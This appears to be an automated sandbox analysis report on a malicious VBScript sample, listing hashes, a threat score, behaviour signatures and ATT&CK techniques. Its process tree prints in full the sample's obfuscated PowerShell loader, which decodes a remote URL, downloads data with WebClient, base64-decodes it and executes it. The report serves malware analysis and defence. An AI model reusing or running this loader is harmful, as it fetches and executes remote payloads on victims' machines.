fb8edc78c62f169dd7dfc289d71957c7e2ac767b429dadbf52f9ca41665e3e2c

Analysis

max time kernel
149s
max time network
150s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
03/06/2024, 10:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
02062024.vbs
Size 15KB
Sample240603-mdfbxscd39
SHA256 e60ddecfaeb35b11ad591ab5795f227998c2bf19e7561178b9fd5330cf44d6c1
MD5 2a49346caf02d3f5499eff979daa2803
SHA1 b6ca451fc5fca0c3ba70916af41dd83ad5d0af6e
SHA512 9dc2bc27b0870821ccfc913ef548082220e63ce1201b7fbe592dbdefa624d679f6b81411af063088b249931487b7aad888b9a0442f5544725716f0ed0be7d014
SSDEEP 384:uaCnZDYkAVCQ8Xb31r2gDFew/NFecgcZyHozDar8Is:u/dAVYKKggP
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 58 IoCs

flow	pid	Process
5	2524	powershell.exe
6	2524	powershell.exe
7	2524	powershell.exe
8	2524	powershell.exe
9	2524	powershell.exe
10	2524	powershell.exe
11	2524	powershell.exe
12	2524	powershell.exe
13	2524	powershell.exe
14	2524	powershell.exe
15	2524	powershell.exe
16	2524	powershell.exe
17	2524	powershell.exe
18	2524	powershell.exe
19	2524	powershell.exe
20	2524	powershell.exe
21	2524	powershell.exe
22	2524	powershell.exe
23	2524	powershell.exe
24	2524	powershell.exe
25	2524	powershell.exe
26	2524	powershell.exe
27	2524	powershell.exe
28	2524	powershell.exe
29	2524	powershell.exe
30	2524	powershell.exe
31	2524	powershell.exe
32	2524	powershell.exe
33	2524	powershell.exe
34	2524	powershell.exe
35	2524	powershell.exe
36	2524	powershell.exe
37	2524	powershell.exe
38	2524	powershell.exe
39	2524	powershell.exe
40	2524	powershell.exe
41	2524	powershell.exe
42	2524	powershell.exe
43	2524	powershell.exe
44	2524	powershell.exe
45	2524	powershell.exe
46	2524	powershell.exe
47	2524	powershell.exe
48	2524	powershell.exe
49	2524	powershell.exe
50	2524	powershell.exe
51	2524	powershell.exe
52	2524	powershell.exe
53	2524	powershell.exe
54	2524	powershell.exe
55	2524	powershell.exe
56	2524	powershell.exe
57	2524	powershell.exe
58	2524	powershell.exe
59	2524	powershell.exe
60	2524	powershell.exe
61	2524	powershell.exe
62	2524	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2524	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2524	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1908 wrote to memory of 2524	1908	WScript.exe	28
PID 1908 wrote to memory of 2524	1908	WScript.exe	28
PID 1908 wrote to memory of 2524	1908	WScript.exe	28
PID 2524 wrote to memory of 2544	2524	powershell.exe	30
PID 2524 wrote to memory of 2544	2524	powershell.exe	30
PID 2524 wrote to memory of 2544	2524	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\02062024.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Morros = 1;Function Rigborgs144($Diplobacillus){$Slabberadsens=$Diplobacillus.Length-$Morros;$Kuvertfders='Substring';For( $Glazings=5;$Glazings -lt $Slabberadsens;$Glazings+=6){$Mckenna+=$Diplobacillus.$Kuvertfders.Invoke( $Glazings, $Morros);}$Mckenna;}function Stabiliseringsmiddelets($Sveskeblommer){ & ($naturalisationer) ($Sveskeblommer);}$Prenodal=Rigborgs144 'SodfaM OveroXylofzDiminiMe.itl Biotl Sub aWithd/chamb5 Slvt.skrid0 Nigg rike(StupeW SkitiMeletn TjendtvrskoDyrl w magisParet StovtNSvingTCrypt Aksi1.jerg0Ka li. Pod,0Utilg;Under AircWHereti In.un Stra6Gprod4Oxidi;S,ere At.anx,airl6 Gr n4Fidus;Cash. JaszsrR tatvIchth:Forsk1Enpla2Benyt1 D.hr. Tapi0Grill)downf SledgGNondiebicolcLa,lakGevreoForbr/,orst2,orma0 Hnge1Sovem0 R.se0headl1Ret,o0Ou pr1Met,d SubzoF,erioiAppasr Ratie,ustaf C.reo Mis.x,alox/ Jr e1Padlo2Panc.1Sodio.Qui.z0Birch ';$Silendes=Rigborgs144 'TransUExempsMeas eOutp.rHv.de-l denA Unteg idobeStiftnVoldttTradi ';$unsusceptibleness=Rigborgs144 'Com lh OvaltantittIdolipUnnarst.phv:T kta/ Ooph/PsalmcBlo krTriumiVedkoaLysbap StaleReen dstri,ihakkeaTitiktCatunr AktaiAngloaUd,ak. InvecCo.ogoHovedmSutur.Forunb EposrTrame/EmbedSlegenamorgakArviduIndell,ompuy OrthaH erl.EftertTypehtvesicfSuzer ';$Agrypnotic=Rigborgs144 'Haarf>Afdam ';$naturalisationer=Rigborgs144 'FlottiU.skyeAvrasx Duff ';$Kricketboldenes='Fastnagle';$Indholdsanalyses = Rigborgs144 'C,ondeAngstcUdenrhMac ioUbe,a Humrs%Forsaaref ephallopMotocdUnde.aTramptSkrbaaR,tat%Spli,\ErstaTFet,rosynecnTids dIndkaoXanth.T,ndsSNonaraIch,hv,aekk Sp,ll&Skewb&.efug LunateDove,cfritshSneezoDa ab F,lntTilsk ';Stabiliseringsmiddelets (Rigborgs144 'Jambe$UnelegNyuddlSkiftoP,eudbalcalaDuclol rist:TempeShenogtStandiFormamUnm seFormavAgatiiFuldtsSkarre Flax=Imper(BovnecGa.acmExpiad apo Bor,/ Hlhjca reg Tink,$AdelaI Forsn VansdPondahOv,rfoVareglKa,imdCoronsHomoza Cer.nDrablaNormelD,caryR,pors SteneDissosAkkom),ogyi ');Stabiliseringsmiddelets (Rigborgs144 'Cocks$ PassgS,deflOptimoFjordb RewaaReguilBrnes: B,lnORes,rp,ermmaSu,vicRedela envtI.inaeSalig=Mon c$WobbluAba.incrappsMotivuAandssSubhyct,ltueD.colp AccutChewii AppebfarvelNym heAlternGavlveTythisD rsosEjend. Li,esSatrapgravrlAllegiStriktBeach(Outpo$UngoaAAthamgFlen,r,lasty S pep Chlonrefeeoeksamt,lferi Hen,c S.ol)Skrev ');$unsusceptibleness=$Opacate[0];$Stjforholdet= (Rigborgs144 'Forst$BesnrgprveblSpirioStraabAttesa Pitel.emon:BelgiTArmbrrImperaHugg c SvejtBalleoMhedsr Illyi Ors.sSjll.tKontr=SymboNRe.ukefluopwDetou-RhyncOPressbN,ecejObligeGracicHvilet Disa A,bleSFlyv,ytermisMemortH pereBj,rgmDough.MisbiN overeSkafttSuffu. NoemWMidteeBabydbFe,huCCentrl AffaiFainae arthnErklat');$Stjforholdet+=$Stimevise[1];Stabiliseringsmiddelets ($Stjforholdet);Stabiliseringsmiddelets (Rigborgs144 'Antip$ TrapTNonspr R.toaVentecToldgt wallo MotirGlossiGadiksAut.rtNatur.Non.nH Idi eSmirkaDitzyd.popeeNotifr Vee.s ecid[Layou$ ormaSYatiki Di plOversesind nSu,erdGstsceant.gsAymas] Muco=anato$Lah,nPduoder,ccleeRhythnbein o C.prdCocaoaFabull chro ');$Tautologise=Rigborgs144 'Frilu$CowgiTSh,rtr ondoaPidjacRee etMarkeoO.tterDrvogiPrvetsQuadrt,dvik.HandeDEsrogoRostrw IndenS irolTolv.o SelvaGesitdO,ocyFmagneiFors.lFistleGesta( ame$ IndkukendenJavansCo eruPartesSu.trc WroneSma fp,etrit Retci Az tb Choyl tedieGalegn Ve,meHoodlsUndersMisst,Erfar$Homi.U NonsdRoulek ,ilerThrinyStrafsDaaret Lss,aSnot,lFarmblTo,aciOpsi.sSporte.asser .enziCol.enCatargSlatteArbejr RetasFusio)Omdre ';$Udkrystalliseringers=$Stimevise[0];Stabiliseringsmiddelets (Rigborgs144 'Unsym$BevikgUn.urlsondroquestbNoteaaCorpolKrebs:AgerbAGanesu Sprik .nhutUdlb iGent oSvi enUndersUnsalhdoublaSamlel Fest= Beha( eucoT.ranseP.otosR,ifitResti-.odeoPRespea C nttFdev hDet.k Tick$VejfrUErhvedCabmakSen irStov y NabosMyrintOxal.adrachlHymnoldagp.iFdse sAustreNipporTarboiEk,linJenhjgF.rvieBeta.rGau.ssB sis)Savsk ');while (!$Auktionshal) {Stabiliseringsmiddelets (Rigborgs144 'La.yn$me.iag BruslSw.tcoForv bTilb aOpalol Pest:SmalfD.ggrai DyrefCloisfTelenu ,igms,admiiZoonooTrac,nU,fors C ntl Sku.iMisaun Fac,s SifteUnfalrWher sOvers=T.lsk$R dsktPenitrMaaleuReg ieOverj ') ;Stabiliseringsmiddelets $Tautologise;Stabiliseringsmiddelets (Rigborgs144 ' FirsS akuutShouta ForkrCu,sot Pe,i-taxonSUnde,l Melae SekseIllaep Cage Unpuc4Genop ');Stabiliseringsmiddelets (Rigborgs144 'Under$Deci,gSklmslAlnasoG.itabUnshiaBanall erm: MuteA Glemu aastkBloodtCocktiCyanooInve.nDruelsFallihFactoa Cl,rl hart=Tilpa(Sadl.TForefeFiffisFyldetTenti-DrivnP GlanaLadegtDic,rhOtt,r flo e$NedreUAurindSma rkEksisrProkoy anvisR.dartAntndaG ranlAnalylCu coi Penns ,reme G.acrPionsiUdlggn AntigUglineTveborCryptsJetty)Ratho ') ;Stabiliseringsmiddelets (Rigborgs144 'Fyres$.rmwpgSelenl Perso Ram.b OrduaWh lelOrgan:OmnisEAfv,kmSubrubPersooSnurrdpyt niPantoeho stsPolyp1Navig7Bract3 Afp =Ekseg$FredlgEpital P.dioKudzubInsolaEfterlindre: ,tanEOksehk UldtsTracytLabyrrvel taSnkedaRd.gerCivilb earbeE,riojDocogdUnbeseDraugtLynf sD,sce+Antic+subst%.illi$BerskORewinpP xonaMisilc.nkesanonfetHypereHekse.blomscBuny,oFa.tauAbu.bnTaljetDrypn ') ;$unsusceptibleness=$Opacate[$Embodies173];}$Triboelectricity=337384;$dalbyovers=30248;Stabiliseringsmiddelets (Rigborgs144 ' Genn$ korzgForstlRea.foFyndobEp paaGridslFutho:Skru,sElecttPyr.nematrog.orgee UndepforemaBaculn P.atdMontieMy.fer L.benClisteS raws egn ,ysso=Uppsa rickGHilsteSkm etForbi- brisCFulcro,angenAbstit SndeeB,stvnsivsatYngl. Omkam$ba.ulUB,lggdstrawkS milrNongeyDre rs TaletUnantaMask,lNst rlHoo.oiD.abssTingleInco,rslimei Jakkn elegSac aePin erKmolesPussy ');Stabiliseringsmiddelets (Rigborgs144 'Catch$Re.idg.tacklwr thoTitalbstranaSara,lTilba:RoderCQu.lma PrydnUddannTelefa .laabOverfiSpecidRadiai.ongooTransl ,elt Guser=illit humfr[CordiSEpimey pin.sB fretTitreeStresmAcido.CompuCApasto Mi rnTargevNaev.eEthylr Ordit Trsk] Drat:Neds :AvledFBiblirArgumoLserim tholB Gruma.lokpsPorome Ni e6Feeli4Lvfl.SHelcot Io,arsyrliiafnatnOutblgDuod ( pont$houses Kre t,prrse PythgVota.eB,sidpOff caPravonO.alsdFaldseBlks,r Egesn.praae.vermsEnse.)T rop ');Stabiliseringsmiddelets (Rigborgs144 ' Kamp$Specig DentlC pitoUnpasb Druba SelvlJ,bbe:Sump PAngstrSu ble KejsdIndhoipatrupDisselP,rfioPerplm RepuaRide.c opglyAn,er Bligh=Dif,u ,dem[ ,vveSSlidbyAtmomsSjlestElfrieSporamSlvpa.HenchT MedieMoneyxDorertDasyp.SpytnEMumrun o,dgcTrettoA seedfissii Udgan ShirgTagal]Ang.e:.anne: ScheAMaaneS,elsiCAtomaISeminI,rodu.BundtGVandre BryotAfrikSSkruet,amkarSa uridisran Pl.tguhten(Kr,ke$TronsC einaurinvn Tissn ParaaOppo bNordgipaxildsig ai Ri aokamu,lWerea)Ydmy ');Stabiliseringsmiddelets (Rigborgs144 ' Tidd$F stpgDa.tylSynkroAbacubA,chiaAabenlAflus:SanitGBie ho obacoBagagn T,ipdCoupeaMacro=Un er$S.eciPSk.mlr KnscedystedDdniniExc tpD.tsulMi,beoPaulim MohuaFljlecVandgyReco..Fis esAffilu KabbbTervasStudetT,leprWar.ti Stern Reing Disp(Charn$IdekaTSchmerApophi .olibFaa.aoHook.eMaskelradereTepotcSvinetCorrurIndtri Bilic N nsi W,igt ulslyDagsm, .als$RealidBlinka SmndlA.thrbHaa dy.artooSolurvAfta.enostorRoundsExfod)Galar ');Stabiliseringsmiddelets $Goonda;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tondo.Sav && echo t"
    3⤵
    PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2524-4-0x000007FEF5C5E000-0x000007FEF5C5F000-memory.dmp

Download

memory/2524-5-0x000000001B590000-0x000000001B872000-memory.dmp

Download

memory/2524-6-0x0000000002310000-0x0000000002318000-memory.dmp

Download

memory/2524-7-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Download

memory/2524-9-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Download

memory/2524-10-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Download

memory/2524-8-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Download

memory/2524-11-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Download

memory/2524-12-0x000007FEF5C5E000-0x000007FEF5C5F000-memory.dmp

Download

memory/2524-13-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Download

memory/2524-14-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Download